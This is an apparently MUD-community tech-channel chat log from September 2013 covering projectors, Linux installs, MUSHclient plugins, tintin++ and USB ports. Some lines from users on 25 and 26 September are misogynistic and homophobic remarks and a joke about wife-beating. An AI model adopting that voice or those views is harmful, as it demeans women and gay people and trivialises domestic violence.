T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tormat Tech: getting the correct code on your request can take days...
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tormat Tech: anyone know Crystal Reports Server :P
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: anyone reccommend a decent and inexpensive LED projector?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tormat Tech: turie i agree 
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Turie Tech: Applications Tigernuts.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: wii, turie
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are no decent inexpensive led projectors
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Turie Tech: Most are going to be in the 500 range at the lowest end.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: well that is inexpensive
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: one i was looking at is $700
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Turie Tech: Epson makes some good ones. However, you need to look at the replacement bulb prices before buying one.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: that's why i want an LED one, to avoid the whole bulb issue
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Turie Tech: Most bulbs last between 3000 to 3500 hours.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Doc Holliday Tech: I like my projector but not led, and it's $499
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Doc Holliday Tech: 720p but 2500 lumens
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Doc Holliday Tech: optoma hd66
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Turie Tech: Since the Wii is not WiiHD, then it would work. However, LED projectors still have a "bulb" like feature.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Ganesha Tech: any programmers here ? :)
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I can't imagine wanting to get a 720p projector these days
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Ganesha: that's not your question
T3/r7/2013-09-25.txt.gz:{chan ch=tech}WarPigs Tech: Anybody mind if I ask a question about asking a question?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: How meta.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tech: Vost claps half-heartedly for WarPigs, clearly unimpressed.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: can't imagine wanting, or not wanting ?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: would seem pointless getting a nonHD projector if i'm gettingo ne
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: 720p may be fine for a 40" television, but a projector for me throws an image closer to the 100-150" range. 720 is horrible.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: won't be going that big
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: nowhere in the UK would support 150" screen
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Turie Tech: Fiendish: Tigernuts is going to the 200" range.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I bet you could support 100 though
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: anyway
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tormat Tech: garage door :P
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: will probably be in the 50-70" ramge
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: seating distance?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: 10-15ftr
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: ft
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: 70" is too large for 720p at 10 feet
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: will evitably be smaller than that, was talking about the maximum size of space available
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: I have a 55" at 8 ft, and it is really nice.  Could even go a bit bigger.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: nobody will ever need anything bigger than a 14" monitor, right?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: I figure that I can always accomidate for a smaller space, but don't want to be limited when going to a larger one.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}RightOn Rithlin Tech: Just stream it on your phone....
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: And the human eye can't see better than 360 pixel.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Turie Tech: Not unless you have 20/15 vision.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish coughs loudly.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: I seldom buy top of the line, but I will buy 1-2 levels below it, and get really really close.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: We can see and hear more than technology can support.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: installing a linux dist on laptop and stuck at 72% no errors or anything but also no activity  with hdd light or usb stick dies this mean the hdd has a bad sector ?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: I waited 6 years until I could pay cash for my big screen, and am glad that I didn't buy anything smaller.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: settling on a Dell M115HD right now
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Vanion: not enough information
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: Some day I would luv to buy a projector, and it would be great to fill a wall, like in a movie theater.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: christ, six years is a hell of a long time to save cash
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for a television
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: for a tv maybe, not for a car or a house :-)
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: Yep  2 kids and a divorce that left me with all the debt.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: well that was your first mistake
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: Now I only owe $8k, total debt load.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: prenupts are your friend
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: is an old dell ispiron 600m  made a liveusb been running off usb for a while and found i like the distro enought to install on hdd been sitting at 72% with seemingly no activity for past 20 min
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: women are inherently evil and greedy
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Vanion: You might want to check the other virtual terminals (hit ALT-number key to switch) between the sessions. Might be able to determine if something else hung the machine.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: lol
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Protogynus Robbo Tech: But definitely short of enough information to determine the problem.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Turie Tech: Women are money users.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: Either I tend to marry the women who are similar to my mother, or they are all alike.   lol
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: so is the modern metrosexual (subtext: gay) man
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: everything looks fine on Htop
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: installer using only 1.3 mb ram and 6% of proccessor
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: Familiar spirits, someone who I am comfortable with... until I say "I do", then they become wives from hell.  lol
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: and nothing else is higher than that
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: Sorry   not for this channel
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Protogynus Robbo Tech: syslog being dumped to one of the virtual terminals?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: think it has something to do with boys being brought up in households with no male role model, screws up their brain makes them unable to do basic math or do things like budget and live without being consumed by consumerism
T3/r7/2013-09-25.txt.gz:{chan ch=tech}*Christian Bezaleel Tech: Point is, I'm glad I went with the larger screen and the higher resolution.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Tigernuts Tech: probably something sociologists should look at :-O
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Or, sounds like you've got console access during the install if you're using htop. Can take a peek to see if anything is awry.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Protogynus Robbo Tech: But my guess would be that part of the installer script has hung rather than a hardware issue. Bad blocks on hard drives typically would cause some angry messages to your syslog.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: well its booted on the usb drive
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: and the installer file was on desktop
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Runtur Vanion Tech: seems to be stuck on python directory
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Ixle Tech: Sometimes just walking away for a while and coming back does wonders. I've had moments during an install that made me think it was hung and really I just needed to be a bit more patient.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Ixle Tech: But if it really is hung, you might try choosing the Install option at boot time.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Lykke Tech: i think on zmud there was a command that would record where you had walked... map? does anyone know if the same sort of command exists for mudlet?
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: odds of getting help with mudlet here are pretty low
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: since nobody uses it
T3/r7/2013-09-25.txt.gz:{chan ch=tech}HelperMan Hadar Tech: 2 people do
T3/r7/2013-09-25.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: 1 person other than that one
T3/r7/2013-09-25.txt.gz:{chan ch=tech}Lykke Tech: it might be because it sucks.
T3/r7/2013-09-25.txt.gz:{chan ch=tech}HelperMan Hadar Tech: just become a conformist and use mush :P
T3/r7/2013-09-26.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Hi, ive enabled xterm 256 on my client and it works. So far im able to use any of these 256 colors for any colorset channel, but am struggling on how to use it for strings. any idea what the command is please
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Sonshi Tech: help xterm?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: i did that, @# dont work
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Sonshi Tech: there's an x in there
T3/r7/2013-09-26.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: that does it thanks :-) 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: is there A way to put of those messages in battle reporting the status of A mob like Mob is grave
T3/r7/2013-09-26.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: is gravely injured
T3/r7/2013-09-26.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: off
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Yxty Tech: for MUSHclient, how do i put my maps back from the main window into the little map window
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Authentic Tech: i need some help
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Authentic Tech: when i type lbid or who or whatever it doesnt break it up into pages anymore it just spams the whole list
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Authentic Tech: anyone know how to fix that?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: use pageprompt
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Trachx Tech: you mean pagesize ?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: yes :-) 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Authentic Tech: no like type lbid
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Authentic Tech: u press enter to get to next page
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Runtur Vanion Tech: prob scroll
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Authentic Tech: whats the default amount of lines?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: 70
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Authentic Tech: thanks
T3/r7/2013-09-26.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: your welcome
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Raun Tech: I have the winklewinkle S&D plugin and it has a window that shows the cp mobs i am supposed to kill but i accidently clicked on the wrong spot when trying to go to the next mob and now i cannot move the window. How can i fix it?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Raun Tech: the top part of the window went underneath the toolbars section which is why i cannot move the window anymore. I have tried uninstalling/reinstalling plugin but that didnt work
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Raun Tech: figured it out
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Tahlevaran Tech: using wine on debian with mushclient, it keeps asking what font i want to use and will not open, anybody have any ideas?  I'd like to dump windows 8.
T3/r7/2013-09-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i use ubuntu and never have any problems
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Tahlevaran Tech: hmmmmmm wonder if I need to install the ms true type fonts?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: can someone help me out here http://imgur.com/bGRPLyu
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: everything got pushed far to the right somehow and I just can't move it all back?? 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: that happened to me once
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: great, how did you fix it? 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: its like view always on top i think
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: view>always on top
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: uhm.... sorry where is view? 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: on the toolbar
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: i think that will correct it
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: the aard mush toolbar? like where alias and trigger etc is at? 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: right above that, yeah
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: o... your on mack
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: mac
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: yeah there is no view option.....
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: what do you use, wine to run it?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: wine yes 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: now i know what im gonna do when i get home today
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: it's like everything is crammed into the right corner and all that white space i can't move anything over
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: srry dont know howto help with that problem
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: so.....nothing? 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: reinstall...
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Rizzi Tech: i would cry if i had to though, you cant just drag them over
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Book of Etzli Tech: Try resetaard? Or initaard? I forget what the command is.
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: yeah restarting didn't work
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: initaard ? 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Book of Etzli Tech: I think it's resetaard.
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: yeah....no...
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Book of Etzli Tech: resetard return anything?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Book of Etzli Tech: Or just an error message?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: oh no it seems everything moved back to normal
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: but i'm still stuck in this 2 inch bit
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: looks like I need to reinstall and just dump in my map/pluggins/state file
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Book of Etzli Tech: Isn't necessary, I don't think. You just have to figure out what all that whitespace is from.
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: well i have no idea and I need this fixed :-( 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, what's that text that looks like it's in Russian? Is that something you know of?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: russian......the red? no idea it's always like that 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Book of Etzli Tech: But is that normal (even when it wasn't messed up before)?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: yep
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Book of Etzli Tech: But you've no clue about it... hmm. That's odd.
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: AH HAH!
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: note to self..... View  ---- Reset Toolbar Locations 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Book of Etzli Tech: There we go. :D
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: and no my placement is all screwy cause of the rest but oh well! =P 
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Lilleana Tech: thank you tech!
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Tahlevaran Tech: using wine with muschclient on debian wheezy 7.1 getting script errors with bastmush plugins
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Pleiades Tech: has anyone installed tomato or dd-wrt on a dlink DIR-655?
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Anything less than the size of your thumb, you could beat your wife with
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: mis
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Doc Holliday Tech: qr
T3/r7/2013-09-26.txt.gz:{chan ch=tech}Roidrage Tech: does anyone know why my qw (quick where) wont work with my snd plugin?
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Sir Honid Tech: has anyone got s&D to work with gq's?
T3/r7/2013-09-27.txt.gz:{chan ch=tech}North Westclox Tech: yeah, and then they're usually nuked shortly after
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Doc Holliday Tech: winkle specifically made it non gq
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Doc Holliday Tech: for that reason
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Sir Honid Tech: never mind then
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Ontuct Tech: is there a way to make an eject ipod button right on the desktop?
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Ranrr Tech: Just put the docking station right there on your desktop. I assume it has some button. :P
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Shadorn Tech: is there a way to create button on mushclient?
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Trachx Tech: sure
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Shadorn Tech: How? I don't see an option on configuration
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Trachx Tech: I thought you mean creating your own button, then check sources of S&D plugin
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Trachx Tech: what are you trying to achieve ?
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Shadorn Tech: I want to create button where I can click to excute an action similar to macro but clickable button
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Trachx Tech: cannot you use keys like F1-F10 ?
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Shadorn Tech: Yeah I am using it.  Was just wondering if it's possible to create button that all :)
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Trachx Tech: I think that this could be helpful https://code.google.com/p/ullin-aardmush-plugins/downloads/detail?name=ullin_researchhelper.zip&can=2&q=
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Shadorn Tech: Thanks
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Trachx Tech: no, this is not good plugin
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Trachx Tech: I think http://www.gammon.com.au/forum/?id=9359 is what you want
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Trachx Tech: but you need to edit a bit lua script to define buttons and their actions
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Gener Tech: anyone use a logitech G15 keyboard?  I was wondering if th macro keys will work here
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Book of Etzli Tech: The macro keys have nothing to do with Aardwolf. It'd be based on your client.
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Though if you can map commands to the keys, then it should work.
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Gener Tech: really?  I was hoping it would be just like sending keystrokes to the world.  I may be thinking wrong but wouldn't it not matter which client you are using?  
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Gener Tech: oh I see you just answered what i asked
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, the reason I mentioned clients is because in CMUD, you can assign a client macro to certain keys. You press 0 on the numpad, you can get it to scan <@variable>, for instance.
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Gener Tech: it works!  I have more keys now  weee
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Tech: Book of Etzli claps at Gener's actions.
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Loreli Tech: I'm using tintin++, is there anyway to log all the commands being sent to the game, including passive ones?
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: anyone use tintin++ and know how to unhighlight everything at once? (or if its psosible)
T3/r7/2013-09-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im usning ubuntu with cinnamon and i was wondering if there is a way to have the login screen image differ from my background or would i need a third party app?
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: look up umm.... (one second)
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: need to find it - customizes a lot of UI.  havne't used it since moving to linux mint on cinnamon (hated unity)
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Mr. Dash Tech: IIRC, you can click on the ubuntu logo on the login screen and select a wallpaper to use
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: compiz.  run on terminal sudo -i, apt-get update, apt-get upgrade, apt-get install compiz compizconfig-settings-manager compiz-fusion-plugins-extra compiz-fusion-plugins-main compiz-plugins
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: may read up on compiz first to see if it is what you're wanting
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: but basicaly allows you to change several UI things including logon wallpaper
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: not sure how that works w/ unity though to be honest - may not at all.  unity is a demon in the linux world, even linux torvald bashes it and gnome 3
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: linus*
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Mr. Dash Tech: i feel like steamOS is going to be a lot of people's first linux =p
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: mmm...i have not read much on it, but seems like another roku to me.
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: may be wrong.
T3/r7/2013-09-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i use wallch to control my background and like 99% of my backgrounds are fine, but there is 1 i like that is too big for the login screen, so i wanted it static
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Cytan Tech: know if its a resolution issue of the image VS your monitor resolution ?  if so, gimp can change image size but may have to crop.
T3/r7/2013-09-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: can anyone help me get this plugin working ? http://gammon.com.au/forum/?id=9359, i keep getting an error when it trys to load the icons, im not sure if its because im putting them in the wrong folder, or if they are in the wrong format
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Tech: the format needs to be png or bmp
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Mr. Dash Tech: just installing it to see what you were talking about. it looks like the icons have to be in the main mushclient folder
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Tech: the default location for the image files is the MUSHclient folder, not the plugins folder
T3/r7/2013-09-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay so i do have the icons in the right section, must be the format then
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Tech: no need to install it to know either of those things, just click on the first link from the URL he gave ;-)
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Mr. Dash Tech: png or bmp. you can use a program like irfanview to change types if you want something lightweight
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Tech: or just mspaint
T3/r7/2013-09-27.txt.gz:{chan ch=tech}SnailRider Anaristos Tech: paint.net
T3/r7/2013-09-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay ill try resaving them as bmp then cause .pmg are not working
T3/r7/2013-09-27.txt.gz:{chan ch=tech}SnailRider Anaristos Tech: .png
T3/r7/2013-09-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah png mistyped whoops
T3/r7/2013-09-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay that worked, thanks guys
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Mr. Dash Tech: wow. tmc is uglier now
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Mr. Dash Tech: i didn't know that was possible
T3/r7/2013-09-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: how the hell did it manage that?
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Ylar Tech: You'd have to see it.
T3/r7/2013-09-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: looks like a 12 year old designed it
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Mr. Dash Tech: can we have an object db like that accessible to the public?
T3/r7/2013-09-27.txt.gz:{chan ch=tech}Mr. Dash Tech: that would be so awesome
T3/r7/2013-09-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: actually the forums do not look that bad, its everything else thats ugly
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: does anyone know the font used in the aardwolf's android app?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: its called monospace
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: ah, thank you
T3/r7/2013-09-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: your welcome
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Nuanse Tech: https://play.google.com/store/apps/details?id=com.happygoatstudios.aardwolf&hl=fi
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: how can i check which ports are usb 3 or usb 2?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: bios ?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: laptop has 2 usb on left and 2 on right.. i know there are 3 usb3 and 1 usb2
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: i see ss next to the usb icon.. does that mean something?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Rodae Tech: is there an esata port next to one of those usb ports?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: i dont know what that is
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Rodae Tech: is there a weird port that you dont' know what it is next to one of those usb ports?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: yeh
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Rodae Tech: then that one is probably the usb 3 port
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Rodae Tech: its on a seperate bus that can handle the usb3 speeds
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: thanks Rodae
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Rodae Tech: the othebid
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Rodae Tech: opps
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: If a game is java based, will having an outdated version actually cause the game to lag?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Can't actually figure out why my game isn't smooth.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: it may cause slow downs
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: OTOH it may run faster
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: you can always update java and check whether it works faster
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Trachx Tech: if this game is browser game you can check whether in other browser works faster
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Its called Puzzle Pirates, java client based.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: My computer should be running it with ease.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: hell, probably 1/100th of my computer could run it with ease.
